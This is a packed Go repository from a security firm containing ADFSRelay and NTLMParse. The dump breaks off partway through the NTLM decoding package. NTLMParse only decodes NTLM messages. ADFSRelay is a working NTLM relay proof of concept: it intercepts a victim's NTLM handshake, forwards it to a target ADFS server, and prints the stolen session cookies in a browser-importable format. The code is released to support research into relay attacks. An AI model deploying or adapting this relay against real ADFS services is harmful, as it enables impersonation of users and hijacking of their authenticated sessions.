Repository: praetorian-inc/ADFSRelay
Branch: main
Commit: 1786138e68c2
Files: 15
Total size: 84.6 KB
Directory structure:
gitextract_wftfh0c1/
├── .github/
│ └── workflows/
│ └── release.yml
├── .gitignore
├── LICENSE
├── README.md
├── cmd/
│ ├── ADFSRelay/
│ │ └── ADFSRelay.go
│ └── NTLMParse/
│ └── NTLMParse.go
├── go.mod
├── go.sum
└── pkg/
├── cookies/
│ ├── datatypes.go
│ └── export.go
└── ntlm/
├── datatypes.go
├── debug.go
├── decoder.go
├── ntlm.go
└── ntlm_test.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/workflows/release.yml
================================================
# Copyright 2022 Praetorian Security, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
on:
push:
# Sequence of patterns matched against refs/tags
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Setup Go Build Environment
uses: actions/setup-go@v2
with:
go-version: '1.18.3'
- name: Install dependencies
run: go mod download
- name: Build ADFSRelay
run: go build ./cmd/ADFSRelay
- name: Build NTLMParse
run: go build ./cmd/NTLMParse
- name: Create Release
uses: softprops/action-gh-release@v1
with:
files: |
ADFSRelay
NTLMParse
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
================================================
FILE: .gitignore
================================================
**/.DS_Store
================================================
FILE: LICENSE
================================================
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================================================
FILE: README.md
================================================
# Overview
This repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-encoded NTLM messages and printing information about the underlying properties and fields within the message. Examining these NTLM messages is helpful when researching the behavior of a particular NTLM implementation. ADFSRelay is a proof of concept utility developed while researching the feasibility of NTLM relaying attacks targeting the ADFS service. This utility can be leveraged to perform NTLM relaying attacks targeting ADFS. We have also released a blog post discussing ADFS relaying attacks in more detail [1].
# NTLMParse Usage
To use the NTLMParse utility you simply need to pass a Base64 encoded message to the application and it will decode the relevant fields and structures within the message. The snippet given below shows the expected output of NTLMParse when it is invoked:
```
➜ ~ pbpaste | NTLMParse
(ntlm.AUTHENTICATE_MESSAGE) {
Signature: ([]uint8) (len=8 cap=585) {
00000000 4e 54 4c 4d 53 53 50 00 |NTLMSSP.|
},
MessageType: (uint32) 3,
LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) {
LmChallengeResponseLen: (uint16) 24,
LmChallengeResponseMaxLen: (uint16) 24,
LmChallengeResponseBufferOffset: (uint32) 160,
LmChallengeResponse: ([]uint8) (len=24 cap=425) {
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 |........|
}
},
NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) {
NtChallengeResponseLen: (uint16) 384,
NtChallengeResponseMaxLen: (uint16) 384,
NtChallengeResponseBufferOffset: (uint32) 184,
NtChallengeResponse: ([]uint8) (len=384 cap=401) {
00000000 30 eb 30 1f ab 4f 37 4d 79 59 28 73 38 51 19 3b |0.0..O7MyY(s8Q.;|
00000010 01 01 00 00 00 00 00 00 89 5f 6d 5c c8 72 d8 01 |........._m\.r..|
00000020 c9 74 65 45 b9 dd f7 35 00 00 00 00 02 00 0e 00 |.teE...5........|
00000030 43 00 4f 00 4e 00 54 00 4f 00 53 00 4f 00 01 00 |C.O.N.T.O.S.O...|
00000040 1e 00 57 00 49 00 4e 00 2d 00 46 00 43 00 47 00 |..W.I.N.-.F.C.G.|
```
Below is a sample NTLM AUTHENTICATE_MESSAGE message that can be used for testing:
`
TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ=
`
# ADFSRelay Usage
The single required argument for ADFSRelay is the URL of the ADFS server to target for an NTLM relaying attack. Three optional arguments are -debug to enable debugging mode, -port to define the port the service should listen on, and -help to display the help menu. An example help menu is given below:
```
➜ ~ ADFSRelay -h
Usage of ADFSRelay:
-debug
Enables debug output
-help
Show the help menu
-port int
The port the HTTP listener should listen on (default 8080)
-targetSite string
The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)
➜ ~
```
# References
[1] https://www.praetorian.com/blog/relaying-to-adfs-attacks/
================================================
FILE: cmd/ADFSRelay/ADFSRelay.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"github.com/davecgh/go-spew/spew"
"github.com/google/uuid"
"github.com/praetorian-in/ADFSRelay/pkg/cookies"
"github.com/praetorian-in/ADFSRelay/pkg/ntlm"
)
var (
targetSite string
debug bool
)
func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) {
clientRequestID := r.URL.Query().Get("client-request-id")
MSISSamlRequest := ""
for _, cookie := range r.Cookies() {
if cookie.Name == "MSISSamlRequest" {
MSISSamlRequest = cookie.Value
}
}
if clientRequestID == "" {
if MSISSamlRequest == "" {
clientRequestID = uuid.New().String()
MSISamlRequest, err := GetMSISAMLRequestCookie(clientRequestID)
if err != nil {
fmt.Printf("Error handling initial client request: %v\n", err)
return
}
cookie := http.Cookie{Name: "MSISSamlRequest", Value: MSISamlRequest}
http.SetCookie(w, &cookie)
http.Redirect(w, r, "/?client-request-id="+url.QueryEscape(clientRequestID), http.StatusMovedPermanently)
return
}
}
authorizationHeaderValue, ok := r.Header["Authorization"]
if !ok {
w.Header().Add("WWW-Authenticate", "Negotiate")
w.Header().Add("WWW-Authenticate", "NTLM")
w.WriteHeader(http.StatusUnauthorized)
return
}
authenticateHeaderValue := strings.Split(authorizationHeaderValue[0], " ")
if len(authenticateHeaderValue) != 2 {
fmt.Print("Error Authorization header should have two values separated by a space")
return
}
if authenticateHeaderValue[0] != "Negotiate" && authenticateHeaderValue[0] != "NTLM" {
fmt.Printf("Error Authorization header should begin with either NTLM or Negotiate")
return
}
encodedMessage := authenticateHeaderValue[1]
decodedString, err := base64.StdEncoding.DecodeString(encodedMessage)
if err != nil {
fmt.Println("Unable to decode base64 string, err: ", err)
return
}
rawBytes := []byte(decodedString)
ntlmMessage, err := ntlm.DecodeMessage(rawBytes)
if err != nil {
fmt.Println("Input is not a valid NTLM message, err: ", err)
return
}
switch v := ntlmMessage.(type) {
case *ntlm.NEGOTIATE_MESSAGE:
if debug {
spew.Dump(*v)
}
encodedChallengeMessage, err := SendNegotiateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])
if err != nil {
fmt.Println("Error getting challenge message from ADFS server, err: ", err)
return
}
wwwAuthenticateValues := strings.Split(encodedChallengeMessage, " ")
if len(wwwAuthenticateValues) != 2 {
fmt.Println("Error Www-Authenticate header should have two values separated by a space")
return
}
decodedString, err := base64.StdEncoding.DecodeString(wwwAuthenticateValues[1])
if err != nil {
fmt.Println("Unable to decode base64 string, err: ", err)
return
}
rawBytes := []byte(decodedString)
challengeMessage, err := ntlm.DecodeMessage(rawBytes)
if err != nil {
fmt.Println("Input is not a valid NTLM message, err: ", err)
return
}
fmt.Println("Got challenge message from the ADFS server, forwarding to the client")
if debug {
spew.Dump(challengeMessage)
}
w.Header().Add("WWW-Authenticate", encodedChallengeMessage)
w.WriteHeader(http.StatusUnauthorized)
case *ntlm.AUTHENTICATE_MESSAGE:
if debug {
spew.Dump(*v)
}
fmt.Println("Got an authenticate message from the client, forwarding to the ADFS server")
returnedCookies, err := SendAuthenticateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])
if err != nil {
fmt.Println("error authenticating to ADFS server, err: ", err)
}
for _, avPairs := range v.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {
if avPairs.AvId == ntlm.MsvChannelBindings {
fmt.Println("Client included a channel binding token in the AUTHENTICATE_MESSAGE")
}
}
exportedCookies := cookies.ExportCookiesToCookieEditorFormat(returnedCookies)
jsonData, err := json.Marshal(exportedCookies)
if err != nil {
fmt.Println("error marshalling cookies, err: ", err)
}
username := string(v.UserNameFields.UserName)
domain := string(v.DomainNameFields.DomainName)
fmt.Printf("Successfully authenticated to ADFS as user: %s\\%s\n", domain, username)
fmt.Println("Session Cookies:", string(jsonData))
}
}
func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) (string, error) {
httpClient := http.Client{}
apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID)
req, err := http.NewRequest("GET", apiUrl, nil)
if err != nil {
return "", fmt.Errorf("error creating ADFS POST request: %v", err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)")
cookie := &http.Cookie{
Name: "MSISSamlRequest",
Value: MSISSamlRequest,
}
req.AddCookie(cookie)
req.Header.Add("Authorization", headerVal)
r, err := httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("error sending ADFS POST request: %v", err)
}
encodedChallengeMessage, ok := r.Header["Www-Authenticate"]
if !ok {
return "", fmt.Errorf("missing required Www-Authenticate header")
}
if debug {
fmt.Printf("Www-Authenticate header is present with value %s\n", encodedChallengeMessage[0])
}
split := strings.Split(encodedChallengeMessage[0], " ")
if len(split) != 2 {
return "", fmt.Errorf("error Www-Authenticate header should have two values separated by a space")
}
if split[0] != "Negotiate" && split[0] != "NTLM" {
return "", fmt.Errorf("error Www-Authenticate header begin with either NTLM or Negotiate")
}
return encodedChallengeMessage[0], nil
}
func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) ([]*http.Cookie, error) {
httpClient := http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID)
req, err := http.NewRequest("GET", apiUrl, nil)
if err != nil {
return nil, fmt.Errorf("error creating request: %v", err)
}
req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)")
cookie := &http.Cookie{
Name: "MSISSamlRequest",
Value: MSISSamlRequest,
}
req.AddCookie(cookie)
req.Header.Add("Authorization", headerVal)
r, err := httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("error sending request: %v", err)
}
if r.StatusCode == 401 {
return nil, fmt.Errorf("server returned 401 either the credentials are invalid or EPA is blocking authentication")
}
return r.Cookies(), nil
}
func GetMSISAMLRequestCookie(clientRequestID string) (string, error) {
httpClient := http.Client{}
form := url.Values{}
form.Add("SignInIdpSite", "SignInIdpSite")
form.Add("SignInSubmit", "Sign+in")
form.Add("SingleSignOut", "SingleSignOut")
apiUrl := targetSite + "/adfs/ls/idpinitiatedsignon.aspx?client-request-id=" + url.QueryEscape(clientRequestID)
req, err := http.NewRequest("POST", apiUrl, strings.NewReader(form.Encode()))
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
if err != nil {
return "", fmt.Errorf("error creating request: %v", err)
}
r, err := httpClient.Do(req)
if err != nil {
return "", fmt.Errorf("error sending request: %v", err)
}
MSISSamlRequest := ""
for _, cookie := range r.Cookies() {
if cookie.Name == "MSISSamlRequest" {
MSISSamlRequest = cookie.Value
}
}
if MSISSamlRequest == "" {
return "", fmt.Errorf("expected MSISAMLRequest cookie from the server")
}
return MSISSamlRequest, nil
}
func main() {
var err error
var debugFlag bool
var listenPortFlag int
var targetSiteFlag string
helpFlag := flag.Bool("help", false, "Show the help menu")
flag.IntVar(&listenPortFlag, "port", 8080, "The port the HTTP listener should listen on")
flag.StringVar(&targetSiteFlag, "targetSite", "", "The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)")
flag.BoolVar(&debugFlag, "debug", false, "Enables debug output")
if *helpFlag {
flag.Usage()
os.Exit(0)
}
flag.Parse()
if *helpFlag {
flag.Usage()
return
}
if targetSiteFlag == "" {
fmt.Println("The -targetSite parameter is required")
flag.Usage()
return
}
if listenPortFlag < 0 || listenPortFlag > 65535 {
fmt.Println("Invalid listener port flag specified")
return
}
listenPort := fmt.Sprintf(":%d", listenPortFlag)
_, err = url.Parse(targetSiteFlag)
if err != nil {
fmt.Println("Invalid target site URL: ", err)
}
fmt.Println("Starting ADFS relaying targeting:", targetSiteFlag)
targetSite = targetSiteFlag
debug = debugFlag
if debug {
fmt.Println("Debug mode enabled")
}
http.HandleFunc("/", ADFSRelayStateHandler)
err = http.ListenAndServe(listenPort, nil)
if err != nil {
fmt.Printf("error trying to listen on HTTP on port: %s, err: %v", listenPort, err)
return
}
}
================================================
FILE: cmd/NTLMParse/NTLMParse.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package main
import (
"encoding/base64"
"fmt"
"github.com/davecgh/go-spew/spew"
"github.com/praetorian-in/ADFSRelay/pkg/ntlm"
)
func main() {
var input string
fmt.Scanln(&input)
decodedString, err := base64.StdEncoding.DecodeString(input)
if err != nil {
fmt.Println("Unable to decode base64 string, err: ", err)
return
}
rawBytes := []byte(decodedString)
ntlmMessage, err := ntlm.DecodeMessage(rawBytes)
if err != nil {
fmt.Println("Input is not a valid NTLM message, err: ", err)
return
}
switch v := ntlmMessage.(type) {
case *ntlm.NEGOTIATE_MESSAGE:
spew.Dump(*v)
case *ntlm.CHALLENGE_MESSAGE:
spew.Dump(*v)
case *ntlm.AUTHENTICATE_MESSAGE:
spew.Dump(*v)
}
}
================================================
FILE: go.mod
================================================
module github.com/praetorian-in/ADFSRelay
go 1.17
require (
github.com/davecgh/go-spew v1.1.1
github.com/google/uuid v1.3.0
)
================================================
FILE: go.sum
================================================
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
================================================
FILE: pkg/cookies/datatypes.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package cookies
type CookieEditorExportFormat struct {
Name string `json:"name"`
Value string `json:"value"`
Domain string `json:"domain"`
HostOnly bool `json:"hostOnly"`
Path string `json:"path"`
Secure bool `json:"secure"`
HTTPOnly bool `json:"httpOnly"`
SameSite string `json:"sameSite"`
Session bool `json:"session"`
FirstPartyDomain string `json:"firstPartyDomain"`
PartitionKey interface{} `json:"partitionKey"`
StoreID interface{} `json:"storeId"`
}
================================================
FILE: pkg/cookies/export.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package cookies
import "net/http"
func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieEditorExportFormat {
var cookieEditorExportFormat []CookieEditorExportFormat
for _, cookie := range cookies {
cookieEditorExportFormat = append(cookieEditorExportFormat, CookieEditorExportFormat{
Name: cookie.Name,
Value: cookie.Value,
Domain: cookie.Domain,
HostOnly: false,
Path: cookie.Path,
Secure: cookie.Secure,
HTTPOnly: cookie.HttpOnly,
SameSite: "no_restriction",
Session: true,
FirstPartyDomain: "",
PartitionKey: nil,
StoreID: nil,
})
}
return cookieEditorExportFormat
}
================================================
FILE: pkg/ntlm/datatypes.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package ntlm
const (
// NTLM message size minimum sizes
NTLM_MINIMUM_HEADER_SIZE = 12
NTLM_MINIMUM_NEGOTIATE_SIZE = 32
NTLM_MINIMUM_CHALLENGE_SIZE = 48
NTLM_MINIMUM_AUTHENTICATE_SIZE = 64
// NTLM Message Types
MESSAGE_TYPE_NEGOTIATE = 0x1
MESSAGE_TYPE_CHALLENGE = 0x2
MESSAGE_TYPE_AUTHENTICATE = 0x3
// NTLM Valid AvId Values
MsvAvEOL = 0x0000
MsvAvNbComputerName = 0x0001
MsvAvNbDomainName = 0x0002
MsvAvDnsComputerName = 0x0003
MsvAvDnsDomainName = 0x0004
MsvAvDnsTreeName = 0x0005
MsvAvFlags = 0x0006
MsvAvTimestamp = 0x0007
MsvAvSingleHost = 0x0008
MsvAvTargetName = 0x0009
MsvChannelBindings = 0x000A
// MsvAvFlags Values
AccountAuthenticationConstrained = 0x00000001
MessageIntegrityCodeIncluded = 0x00000002
ServicePrincipalNameIncluded = 0x00000004
)
var (
NTLM_SIGNATURE = [8]byte{0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00}
)
type NEGOTIATE_MESSAGE struct {
Signature []byte
MessageType uint32
NegotiateFlags uint32
DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
DomainNameFields struct {
DomainNameLen uint16
DomainNameMaxLen uint16
DomainNameBufferOffset uint32
DomainName []byte
}
WorkstationFields struct {
WorkstationLen uint16
WorkstationMaxLen uint16
WorkstationBufferOffset uint32
WorkstationName []byte
}
Version NTLM_VERSION_INFO_DEBUG
}
type CHALLENGE_MESSAGE struct {
Signature []byte
MessageType uint32
TargetNameFields struct {
TargetNameLen uint16
TargetNameMaxLen uint16
TargetNameBufferOffset uint32
TargetName []byte
}
NegotiateFlags uint32
DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
ServerChallenge []byte
Reserved []byte
TargetInfoFields struct {
TargetInfoLen uint16
TargetInfoMaxLen uint16
TargetInfoBufferOffset uint32
TargetInfo []byte
}
DecodedTargetInfo DECODED_TARGET_INFO
Version NTLM_VERSION_INFO_DEBUG
}
type AUTHENTICATE_MESSAGE struct {
Signature []byte
MessageType uint32
LmChallengeResponseFields struct {
LmChallengeResponseLen uint16
LmChallengeResponseMaxLen uint16
LmChallengeResponseBufferOffset uint32
LmChallengeResponse []byte
}
NtChallengeResponseFields struct {
NtChallengeResponseLen uint16
NtChallengeResponseMaxLen uint16
NtChallengeResponseBufferOffset uint32
NtChallengeResponse []byte
NTLMv2Response NTLMv2_RESPONSE
}
DomainNameFields struct {
DomainNameLen uint16
DomainNameMaxLen uint16
DomainNameBufferOffset uint32
DomainName []byte
}
UserNameFields struct {
UserNameLen uint16
UserNameMaxLen uint16
UserNameBufferOffset uint32
UserName []byte
}
WorkstationFields struct {
WorkstationLen uint16
WorkstationMaxLen uint16
WorkstationBufferOffset uint32
Workstation []byte
}
EncryptedRandomSessionKeyFields struct {
EncryptedRandomSessionKeyLen uint16
EncryptedRandomSessionKeyMaxLen uint16
EncryptedRandomSessionKeyBufferOffset uint32
EncryptedRandomSessionKey []byte
}
NegotiateFlags uint32
DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
Version NTLM_VERSION_INFO_DEBUG
MIC []byte
}
type NTLM_VERSION_INFO_DEBUG struct {
ProductMajorVersion uint8
ProductMinorVersion uint8
ProductBuild uint16
Reserved []byte
NTLMRevisionCurrent byte
}
type DECODED_NEGOTIATE_FLAGS struct {
NTLM_NEGOTIATE_56 bool
NTLM_NEGOTIATE_KEY_EXCH bool
NTLM_NEGOTIATE_128 bool
R1 bool
R2 bool
R3 bool
NTLM_NEGOTIATE_VERSION bool
R4 bool
NTLM_NEGOTIATE_TARGET_INFO bool
NTLM_REQUEST_NON_NT_SESSION_KEY bool
R5 bool
NTLMSSP_NEGOTIATE_IDENTIFY bool
NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY bool
R6 bool
NTLMSSP_TARGET_TYPE_SERVER bool
NTLMSSP_TARGET_TYPE_DOMAIN bool
NTLMSSP_NEGOTIATE_ALWAYS_SIGN bool
R7 bool
NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED bool
NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED bool
ANONYMOUS_CONNECTION bool
R8 bool
NTLMSSP_NEGOTIATE_NTLM bool
R9 bool
NTLMSSP_NEGOTIATE_LM_KEY bool
NTLMSSP_NEGOTIATE_DATAGRAM bool
NTLMSSP_NEGOTIATE_SEAL bool
NTLMSSP_NEGOTIATE_SIGN bool
R10 bool
NTLMSSP_REQUEST_TARGET bool
NTLM_NEGOTIATE_OEM bool
NTLMSSP_NEGOTIATE_UNICODE bool
}
type DECODED_TARGET_INFO struct {
AvPairs []AV_PAIR
}
type AV_PAIR struct {
AvId uint16
AvLen uint16
AvData []byte
}
type NTLMv2_RESPONSE struct {
Response []byte
ClientChallenge NTLMv2_CLIENT_CHALLENGE
}
type NTLMv2_CLIENT_CHALLENGE struct {
RespType byte
HiRespType byte
Reserved1 []byte
Reserved2 []byte
TimeStamp []byte
ChallengeFromClient []byte
Reserved3 []byte
AvPairs []AV_PAIR
}
================================================
FILE: pkg/ntlm/debug.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package ntlm
import "fmt"
func (*NEGOTIATE_MESSAGE) Print() {
fmt.Println("Printing Contents of NEGOTIATE_MESSAGE")
}
func (*CHALLENGE_MESSAGE) Print() {
fmt.Println("Printing Contents of CHALLENGE_MESSAGE")
}
func (*AUTHENTICATE_MESSAGE) Print() {
fmt.Println("Printing contents of AUTHENTICATE_MESSAGE")
}
================================================
FILE: pkg/ntlm/decoder.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package ntlm
func decodeInt16LittleEndian(rawBytes []byte) uint16 {
return uint16(rawBytes[0]) | uint16(rawBytes[1])<<8
}
func decodeInt32LittleEndian(rawBytes []byte) uint32 {
return uint32(rawBytes[0]) | uint32(rawBytes[1])<<8 | uint32(rawBytes[2])<<16 | uint32(rawBytes[3])<<24
}
================================================
FILE: pkg/ntlm/ntlm.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package ntlm
import (
"bytes"
"fmt"
)
func DecodeMessage(rawBytes []byte) (interface{}, error) {
if len(rawBytes) < 12 {
return nil, fmt.Errorf("NTLM message too short header must be at least 12 bytes")
}
signature := rawBytes[:8]
if !bytes.Equal(signature, NTLM_SIGNATURE[:]) {
return nil, fmt.Errorf("NTLM signature mismatch")
}
messageType := rawBytes[8:12][0]
switch messageType {
case MESSAGE_TYPE_NEGOTIATE:
return DecodeNegotiateMessage(rawBytes)
case MESSAGE_TYPE_CHALLENGE:
return DecodeChallengeMessage(rawBytes)
case MESSAGE_TYPE_AUTHENTICATE:
return DecodeAuthenticateMessage(rawBytes)
default:
return nil, fmt.Errorf("NTLM invalid message type specified")
}
}
func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) {
var NegotiateMessage NEGOTIATE_MESSAGE
if len(rawBytes) < NTLM_MINIMUM_NEGOTIATE_SIZE {
return nil, fmt.Errorf("NTLM message too short")
}
NegotiateMessage.Signature = rawBytes[:8]
NegotiateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12])
NegotiateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[12:16])
NegotiateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(NegotiateMessage.NegotiateFlags)
NegotiateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[16:18])
NegotiateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[18:20])
NegotiateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[20:24])
NegotiateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[24:26])
NegotiateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[26:28])
NegotiateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[28:32])
if NegotiateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION {
if len(rawBytes) < 40 {
return nil, fmt.Errorf("NTLM message too short")
}
NegotiateMessage.Version.ProductMajorVersion = rawBytes[32]
NegotiateMessage.Version.ProductMinorVersion = rawBytes[33]
NegotiateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[34:36])
NegotiateMessage.Version.Reserved = rawBytes[36:39]
NegotiateMessage.Version.NTLMRevisionCurrent = rawBytes[39]
}
DomainNameFields := NegotiateMessage.DomainNameFields
beginOffset := DomainNameFields.DomainNameBufferOffset
endOffset := beginOffset + uint32(DomainNameFields.DomainNameLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("DomainName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
NegotiateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset]
WorkstationFields := NegotiateMessage.WorkstationFields
beginOffset = WorkstationFields.WorkstationBufferOffset
endOffset = beginOffset + uint32(WorkstationFields.WorkstationLen)
if endOffset > uint32(len(rawBytes)) {
return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes))
}
